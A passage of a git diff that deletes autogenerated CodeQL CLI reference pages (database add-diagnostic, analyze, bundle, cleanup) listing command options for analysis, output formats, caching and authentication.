passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -#### `--[no-]sarif-multicause-markdown` - -\[SARIF formats only] For alerts that have multiple causes, include -them as a Markdown-formatted itemized list in the output in addition to -as a plain string. - -#### `--no-sarif-minify` - -\[SARIF formats only] Produce pretty-printed SARIF output. By default, -SARIF output is minified to reduce the size of the output file. - -#### `--sarif-run-property=<String=String>` - -\[SARIF formats only] A key value pair to add to the generated SARIF -'run' property bag. Can be repeated. - -#### `--no-group-results` - -\[SARIF formats only] Produce one result per message, rather than one -result per unique location. - -#### `--csv-location-format=<csvLocationFormat>` - -The format in which to produce locations in CSV output. One of: uri, -line-column, offset-length. (Default: line-column) - -#### `--dot-location-url-format=<dotLocationUrlFormat>` - -A format string defining the format in which to produce file location -URLs in DOT output. The following place holders can be used {path} -{start:line} {start:column} {end:line} {end:column}, {offset}, {length} - -#### `--[no-]sublanguage-file-coverage` - -\[GitHub.com and GitHub Enterprise Server v3.12.0+ only] Use -sub-language file coverage information. This calculates, displays, and -exports separate file coverage information for languages which share a -CodeQL extractor like C and C++, Java and Kotlin, and JavaScript and -TypeScript. - -Available since `v2.15.2`. - -#### `--sarif-category=<category>` - -\[SARIF formats only] \[Recommended] Specify a category for this -analysis to include in the SARIF output. A category can be used to -distinguish multiple analyses performed on the same commit and -repository, but on different languages or different parts of the code. - -If you analyze the same version of a code base in several different ways -(e.g., for different languages) and upload the results to GitHub for -presentation in Code Scanning, this value should differ between each of -the analyses, which tells Code Scanning that the analyses _supplement_ -rather than _supersede_ each other. (The values should be consistent -between runs of the same analysis for _different_ versions of the code -base.) - -This value will appear (with a trailing slash appended if not already -present) as the `<run>.automationDetails.id` property. - -#### `-j, --threads=<num>` - -The number of threads used for computing paths. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--column-kind=<columnKind>` - -\[SARIF only] The column kind used to interpret location columns. One -of: utf8, utf16, utf32, bytes. - -#### `--[no-]unicode-new-lines` - -\[SARIF only] Whether the unicode newline characters LS (Line -Separator, U+2028) and PS (Paragraph Separator, U+2029) are considered -as new lines when interpreting location line numbers. - -### Source archive options - must be given together or not at all - -#### `-s, --source-archive=<sourceArchive>` - -The directory or zip file containing the source archive. - -#### `-p, --source-location-prefix=<sourceLocationPrefix>` - -The file path on the original file system where the source code was -stored. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-add-diagnostic.md b/content/code-security/codeql-cli/codeql-cli-manual/database-add-diagnostic.md deleted file mode 100644 index 6ab21b054f3c..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-add-diagnostic.md +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: database add-diagnostic -intro: '[Experimental] Add a piece of diagnostic information to a database.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -redirect_from: - - /code-security/codeql-cli/manual/database-add-diagnostic ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database add-diagnostic --source-id=<id> --source-name=<name> <options>... -- <database> -``` - -## Description - -\[Experimental] Add a piece of diagnostic information to a database. - -Available since `v2.12.6`. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to bundle. - -#### `--markdown-message=<markdownMessage>` - -Message for the diagnostic, in GitHub-flavored Markdown format. - -#### `--plaintext-message=<plaintextMessage>` - -Message for the diagnostic, in plain text. This option should only be -used when populating a Markdown message with --markdown-message is not -practical. - -#### `--severity=<severity>` - -Severity of the diagnostic. Can be "error", "warning", or "note". - -#### `--help-link=<helpLinks>` - -Help links relevant to the diagnostic. - -#### `--attributes-json=<attributesJson>` - -Structured metadata relevant to the diagnostic. - -### Options that indicate where the diagnostic message can be displayed - -#### `--ready-for-status-page` - -Indicate that the diagnostic is suitable for display on the status page. - -#### `--ready-for-cli-summary-table` - -Indicate that the diagnostic is suitable for display in the diagnostics -summary table printed by commands like `database analyze`. - -### Options describing the source of the diagnostic - -#### `--source-id=<id>` - -\[Mandatory] An identifier for the source of this diagnostic. - -#### `--source-name=<name>` - -\[Mandatory] A human-readable description of the source of this -diagnostic. - -#### `--extractor-name=<extractorName>` - -The name of the CodeQL extractor, if this diagnostic was produced by a -CodeQL extractor. - -### Options describing the diagnostic's location - -#### `--file-path=<file>` - -The path of the file to which the diagnostic applies, relative to the -source root. - -#### `--start-line=<startLine>` - -The 1-based line number (inclusive) where the diagnostic's location -starts. - -#### `--start-column=<startColumn>` - -The 1-based column number (inclusive) where the diagnostic's location -starts. - -#### `--end-line=<endLine>` - -The 1-based line number (inclusive) where the diagnostic's location -ends. - -#### `--end-column=<endColumn>` - -The 1-based column number (inclusive) where the diagnostic's location -ends. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-analyze.md b/content/code-security/codeql-cli/codeql-cli-manual/database-analyze.md deleted file mode 100644 index a02e3bf47cfd..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-analyze.md +++ /dev/null @@ -1,623 +0,0 @@ ---- -title: database analyze -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - Analyze a database, producing meaningful results in the context of the - source code. -redirect_from: - - /code-security/codeql-cli/manual/database-analyze ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database analyze --format=<format> --output=<output> [--threads=<num>] [--ram=<MB>] <options>... -- <database> <query|dir|suite|pack>... -``` - -## Description - -Analyze a database, producing meaningful results in the context of the -source code. - -Run a query suite (or some individual queries) against a CodeQL -database, producing results, styled as alerts or paths, in SARIF or -another interpreted format. - -This command combines the effect of the [codeql database run-queries](/code-security/codeql-cli/codeql-cli-manual/database-run-queries) and [codeql database interpret-results](/code-security/codeql-cli/codeql-cli-manual/database-interpret-results) commands. If you want to run queries whose results _don't_ meet the requirements for -being interpreted as source-code alerts, use -[codeql database run-queries](/code-security/codeql-cli/codeql-cli-manual/database-run-queries) or [codeql query run](/code-security/codeql-cli/codeql-cli-manual/query-run) instead, and then [codeql bqrs decode](/code-security/codeql-cli/codeql-cli-manual/bqrs-decode) to convert the raw results to a readable notation. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to query. - -#### `<query|dir|suite|pack>...` - -Queries to execute. Each argument is in the form `scope/name@range:path` -where: - -* `scope/name` is the qualified name of a CodeQL pack. -* `range` is a semver range. -* `path` is a file system path. - -If a `scope/name` is specified, the `range` and `path` are optional. A -missing `range` implies the latest version of the specified pack. A -missing `path` implies the default query suite of the specified pack. - -The `path` can be one of a `*.ql` query file, a directory containing one -or more queries, or a `.qls` query suite file. If there is no pack name -specified, then a `path` must be provided, and will be interpreted -relative to the current working directory of the current process. - -To specify a `path` that contains a literal `@` or `:`, use `path:` as a -prefix to the argument, like this: `path:directory/with:and@/chars`. - -If a `scope/name` and `path` are specified, then the `path` cannot be -absolute. It is considered relative to the root of the CodeQL pack. - -If no queries are specified, the CLI will automatically determine a -suitable set of queries to run. In particular, if a Code Scanning -configuration file was specified at database creation time using -`--codescanning-config` then the queries from this will be used. -Otherwise, the default queries for the language being analyzed will be -used. - -#### `--format=<format>` - -\[Mandatory] The format in which to write the results. One of: - -`csv`: Formatted comma-separated values, including columns with both -rule and alert metadata. - -`sarif-latest`: Static Analysis Results Interchange Format (SARIF), a -JSON-based format for describing static analysis results. This format -option uses the most recent supported version (v2.1.0). This option is -not suitable for use in automation as it will produce different versions -of SARIF between different CodeQL versions. - -`sarifv2.1.0`: SARIF v2.1.0. - -`graphtext`: A textual format representing a graph. Only compatible with -queries with @kind graph. - -`dgml`: Directed Graph Markup Language, an XML-based format for -describing graphs. Only compatible with queries with @kind graph. - -`dot`: Graphviz DOT language, a text-based format for describing graphs. -Only compatible with queries with @kind graph. - -#### `-o, --output=<output>` - -\[Mandatory] The output path to write results to. For graph formats -this should be a directory, and the result (or results if this command -supports interpreting more than one query) will be written within that -directory. - -#### `--[no-]rerun` - -Evaluate even queries that seem to have a BQRS result stored in the -database already. - -#### `--no-print-diagnostics-summary` - -Don't print a summary of the analyzed diagnostics to standard output. - -#### `--no-print-metrics-summary` - -Don't print a summary of the analyzed metrics to standard output. - -#### `--max-paths=<maxPaths>` - -The maximum number of paths to produce for each alert with paths. -(Default: 4) - -#### `--[no-]sarif-add-file-contents` - -\[SARIF formats only] Include the full file contents for all files -referenced in at least one result. - -#### `--[no-]sarif-add-snippets` - -\[SARIF formats only] Include code snippets for each location mentioned -in the results, with two lines of context before and after the reported -location. - -#### `--[no-]sarif-add-query-help` - -\[SARIF formats only] \[Deprecated] Include Markdown query help for -all queries. It loads query help for /path/to/query.ql from the -/path/to/query.md file. If this flag is not supplied the default -behavior is to include help only for custom queries i.e. those in query -packs which are not of the form \`codeql/\<lang\&rt;-queries\`. This -option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -#### `--sarif-include-query-help=<mode>` - -\[SARIF formats only] Specify whether to include query help in the -SARIF output. One of: - -`always`: Include query help for all queries. - -`custom_queries_only` _(default)_: Include query help only for custom -queries i.e. those in query packs which are not of the form -\`codeql/\<lang\&rt;-queries\`. - -`never`: Do not include query help for any queries. - -This option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -Available since `v2.15.2`. - -#### `--no-sarif-include-alert-provenance` - -\[Advanced] \[SARIF formats only] Do not include alert provenance -information in the SARIF output. - -Available since `v2.18.1`. - -#### `--[no-]sarif-group-rules-by-pack` - -\[SARIF formats only] Place the rule object for each query under its -corresponding QL pack in the `<run>.tool.extensions` property. This -option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -#### `--[no-]sarif-multicause-markdown` - -\[SARIF formats only] For alerts that have multiple causes, include -them as a Markdown-formatted itemized list in the output in addition to -as a plain string. - -#### `--no-sarif-minify` - -\[SARIF formats only] Produce pretty-printed SARIF output. By default, -SARIF output is minified to reduce the size of the output file. - -#### `--sarif-run-property=<String=String>` - -\[SARIF formats only] A key value pair to add to the generated SARIF -'run' property bag. Can be repeated. - -#### `--no-group-results` - -\[SARIF formats only] Produce one result per message, rather than one -result per unique location. - -#### `--csv-location-format=<csvLocationFormat>` - -The format in which to produce locations in CSV output. One of: uri, -line-column, offset-length. (Default: line-column) - -#### `--dot-location-url-format=<dotLocationUrlFormat>` - -A format string defining the format in which to produce file location -URLs in DOT output. The following place holders can be used {path} -{start:line} {start:column} {end:line} {end:column}, {offset}, {length} - -#### `--[no-]sublanguage-file-coverage` - -\[GitHub.com and GitHub Enterprise Server v3.12.0+ only] Use -sub-language file coverage information. This calculates, displays, and -exports separate file coverage information for languages which share a -CodeQL extractor like C and C++, Java and Kotlin, and JavaScript and -TypeScript. - -Available since `v2.15.2`. - -#### `--sarif-category=<category>` - -\[SARIF formats only] \[Recommended] Specify a category for this -analysis to include in the SARIF output. A category can be used to -distinguish multiple analyses performed on the same commit and -repository, but on different languages or different parts of the code. - -If you analyze the same version of a code base in several different ways -(e.g., for different languages) and upload the results to GitHub for -presentation in Code Scanning, this value should differ between each of -the analyses, which tells Code Scanning that the analyses _supplement_ -rather than _supersede_ each other. (The values should be consistent -between runs of the same analysis for _different_ versions of the code -base.) - -This value will appear (with a trailing slash appended if not already -present) as the `<run>.automationDetails.id` property. - -#### `--no-database-extension-packs` - -\[Advanced] Omit extension packs stored in the database during database -creation, either from a Code Scanning configuration file or from -extension files stored in the 'extensions' directory of the analyzed -codebase. - -#### `--no-database-threat-models` - -\[Advanced] Omit threat model configuration stored in the database -during database creation from a Code Scanning configuration file. - -#### `--[no-]download` - -Download any missing queries before analyzing. - -### Options to control the model packs to be used - -#### `--model-packs=<`<name@range>>... - -A list of CodeQL pack names, each with an optional version range, to be -used as model packs to customize the queries that are about to be -evaluated. - -### Options to control the threat models to be used - -#### `--threat-model=<name>...` - -A list of threat models to enable or disable. - -The argument is the name of a threat model, optionally preceded by a -'!'. If no '!' is present, the named threat model and all of its -descendants are enabled. If a '!' is present, the named threat model -and all of its descendants are disabled. - -The 'default' threat model is enabled by default, but can be disabled -by specifying '--threat-model !default'. - -The 'all' threat model can be used to enable or disable all threat -models. - -The --threat-model options are processed in order. For example, -'--threat-model local --threat-model !environment' enables all of -the threat models in the 'local' group except for the 'environment' -threat model. - -This option only has an effect for languages that support threat models. - -Available since `v2.15.3`. - -### Options to control the query evaluator - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - -`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options to control RAM usage - -#### `-M, --ram=<MB>` - -The query evaluator will try hard to keep its total memory footprint -below this value. (However, for large databases it is possible that the -threshold may be broken by file-backed memory maps, which can be swapped -to disk in case of memory pressure). - -The value should be at least 2048 MB; smaller values will be -transparently rounded up. - -### Options to control QL compilation - -#### `--warnings=<mode>` - -How to handle warnings from the QL compiler. One of: - -`hide`: Suppress warnings. - -`show` _(default)_: Print warnings but continue with compilation. - -`error`: Treat warnings as errors. - -#### `--no-debug-info` - -Don't emit source location info in RA for debugging. - -#### `--[no-]fast-compilation` - -\[Deprecated] \[Advanced] Omit particularly slow optimization steps. - -#### `--no-release-compatibility` - -\[Advanced] Use the newest compiler features, at the cost of -portability. - -From time to time, new QL language features and evaluator optimizations -will be supported by the QL evaluator a few releases before they are -enabled by default in the QL compiler. This helps ensure that the -performance you experience when developing queries in the newest CodeQL -release can be matched by slightly older releases that may still be in -use for Code Scanning or CI integrations. - -If you do not care about your queries being compatible with other -(earlier or later) CodeQL releases, you can sometimes achieve a small -amount of extra performance by using this flag to enable recent -improvements in the compiler early. - -In releases where there are no recent improvements to enable, this -option silently does nothing. Thus it is safe to set it once and for all -in your global CodeQL config file. - -Available since `v2.11.1`. - -#### `--[no-]local-checking` - -Only perform initial checks on the part of the QL source that is used. - -#### `--no-metadata-verification` - -Don't check embedded query metadata in QLDoc comments for validity. - -#### `--compilation-cache-size=<MB>` - -\[Advanced] Override the default maximum size for a compilation cache -directory. - -#### `--fail-on-ambiguous-relation-name` - -\[Advanced] Fail compilation if an ambiguous relation name is generated -during compilation. - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-bundle.md b/content/code-security/codeql-cli/codeql-cli-manual/database-bundle.md deleted file mode 100644 index 4fc0ad4e5f3c..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-bundle.md +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: database bundle -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Create a relocatable archive of a CodeQL database. -redirect_from: - - /code-security/codeql-cli/manual/database-bundle ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database bundle --output=<output> <options>... -- <database> -``` - -## Description - -Create a relocatable archive of a CodeQL database. - -A command that zips up the useful parts of the database. This will only -include the mandatory components, unless the user specifically requests -that results, logs, TRAP, or similar should be included. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to bundle. - -#### `-o, --output=<output>` - -\[Mandatory] The output file, typically with the extension ".zip". - -#### `--[no-]include-diagnostics` - -Include diagnostics in the bundle. - -Available since `v2.16.0`. - -#### `--[no-]include-results` - -Include any precomputed query results in the bundle. - -#### `--[no-]include-logs` - -Include the logs directory in the bundle. - -Available since `v2.17.6`. - -#### `--[no-]include-temp` - -Includes the "temp" directory, where any generated packs, queries, and -suites are located. - -Available since `v2.13.3`. - -#### `--[no-]include-uncompressed-source` - -Include an uncompressed version of the source archive directory. This is -necessary for legacy CodeQL plugins (like CodeQL for Eclipse). - -#### `--name=<name>` - -The name of the top-level directory in the bundle. If not given, it -defaults to the name of the database directory. - -### Low-level dataset cleanup options - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--cache-cleanup=<mode>` - -Select how aggressively to trim the cache. Choices include: - -`clear`: Remove the entire cache, trimming down to the state of a -freshly extracted dataset - -`trim` _(default)_: Trim everything except explicitly "cached" -predicates. - -`fit`: Simply make sure the defined size limits for the disk cache are -observed, deleting as many intermediates as necessary. - -#### `--cleanup-upgrade-backups` - -Delete any backup directories resulting from database upgrades. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-cleanup.md b/content/code-security/codeql-cli/codeql-cli-manual/database-cleanup.md deleted file mode 100644 index 8dcf96249138..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-cleanup.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: database cleanup -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Compact a CodeQL database on disk. -redirect_from: - - /code-security/codeql-cli/manual/database-cleanup ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database cleanup <options>... -- <database> -``` - -## Description - -Compact a CodeQL database on disk. - -Delete temporary data, and generally make a database as small as -possible on disk without degrading its future usefulness. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to clean up. - -### Low-level dataset cleanup options - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--cache-cleanup=<mode>` - -Select how aggressively to trim the cache. Choices include: - -`clear`: Remove the entire cache, trimming down to the state of a -freshly extracted dataset - -`trim` _(default)_: Trim everything except explicitly "cached" -predicates. - -`fit`: Simply make sure the defined size limits for the disk cache are -observed, deleting as many intermediates as necessary. - -#### `--cleanup-upgrade-backups` - -Delete any backup directories resulting from database upgrades. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### 